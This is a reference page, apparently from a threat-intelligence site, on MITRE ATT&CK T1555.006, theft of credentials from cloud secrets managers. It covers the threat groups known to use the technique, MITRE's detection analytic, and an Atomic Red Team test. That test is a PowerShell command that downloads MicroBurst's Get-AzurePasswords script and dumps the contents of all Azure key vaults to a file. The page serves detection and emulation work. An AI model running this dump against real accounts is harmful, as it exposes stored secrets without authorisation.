tfMITRE ATT&CK sub-technique

Cloud Secrets Management Stores T1555.006

sub-technique of T1555 Credentials from Password Stores

Tactic: Credential Access
Platform: IaaS
Version: 1.0
Created: 25 September 2023
Last modified: 12 May 2026
Contributor: Martin McCloskey, Datadog

Adversaries may acquire credentials from cloud-native secret management solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, and Terraform Vault.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups64th pct

Threat groups64th percentile · 64% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsNone recorded

CampaignsNone recorded · 54% of ATT&CK techniques have none either.

Tools & malware68th pct

Tools & malware68th percentile · 68% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesNone recorded

Detection rulesNone recorded · 33% of ATT&CK techniques have none either.

Cloud Secrets Management Stores MITRE reference T1555.006

64th pctamong all ATT&CK techniques for number of groups

3 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

TeamPCPG1056 ↗

Has used malware to exfiltrate cloud secrets from targeted environments including AWS, GCP, and Azure.1 2 3 4

created 2026-07-164 referencesaka PCPCat

Storm-0501G1053 ↗

Has utilized Azure Key Vault to store the encryption key using the operation Microsoft.KeyVault/Vaults/write.1

created 2025-10-191 reference

HAFNIUMG0125 ↗

Has moved laterally from on-premises environments to steal passwords from Azure key vaults.1

created 2021-03-031 referenceaka Operation Exchange Marauder

All 3 groups for this technique

Offense vs defense T1555.006

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

Cloud Secrets Management Stores detection strategy DET0130

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detect Unauthorized Access to Cloud Secrets Management Stores

Enterprise

1 platform

AN0366 · IaaS

Detection of suspicious access to cloud-native secret management systems (AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, HashiCorp Vault). Focuses on abnormal secret retrieval activity, such as secrets being accessed by unusual identities, from unexpected regions, outside business hours, or at high volume. Correlates API calls to secret retrieval with surrounding authentication events, role assumptions, and anomalous execution patterns.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Cloud Service EnumerationDC0083	AWS:CloudTrail	GetSecretValue

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
PrivilegedRoles	Set of accounts or roles allowed to retrieve secrets; deviations may indicate misuse.
TimeWindow	Temporal window to correlate secret access with authentication and anomalous context.
AccessPatterns	Expected frequency and volume of secret retrievals per user/service; anomalies may indicate exfiltration.
RegionConstraints	Regions in which secret access is expected; access from unusual geographies may indicate compromise.

Tests1ExecutorsPowerShell 1Need elevation1 of 1Have prerequisites1Have cleanup1Platformsiaas:azure

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Azure - Dump All Azure Key Vaults with Microburst

iaas:azure

PowerShell

Required

Yes

Upon successful execution of this test, the names, locations, and contents of key vaults within an Azure account will be output to a file. See - https://www.netspi.com/blog/technical/cloud-penetration-testing/a-beginners-guide-to-gathering-azure-passwords/

Input arguments

Name	Type	Default	Description
password	string	T1082Az	Azure AD password
username	string	—	Azure AD username
output_file	string	$env:temp\T1528Test1.txt	File to dump results to
subscription_id	string	—	Azure subscription id to search

Attack command

import-module "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"
$Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-AzureRmAccount -Credential $Credential
Get-AzurePasswords -subscription '#{subscription_id}' > #{output_file}
cat #{output_file}

Cleanup command

remove-item #{output_file} -force -erroraction silentlycontinue

Prerequisite

The Get-AzurePasswords script must exist in PathToAtomicsFolder\..\ExternalPayloads.

Check

if (test-path "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"){exit 0} else {exit 1}

Satisfy

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/c771c665a2c71f9c5ba474869cd1c211ebee68fd/AzureRM/Get-AzurePasswords.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"

Prerequisite

The Azure RM module must be installed.

Check

try {if (Get-InstalledModule -Name AzureRM -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}

Satisfy

Install-Module -Name AzureRM -Force -allowclobber

Prerequisite

The Azure module must be installed.

Check

try {if (Get-InstalledModule -Name Azure -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}

Satisfy

Install-Module -Name Azure -Force -allowclobber

GUIDd1fce5b0-4b26-4311-85fd-2ca14e3e54ec

Tests from Atomic Red Team (MIT licence) · technique definition

Cloud Secrets Management Stores detections T1555.006

No detection rules are mapped to this technique yet.

None recorded— 33% of ATT&CK techniques have none either

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs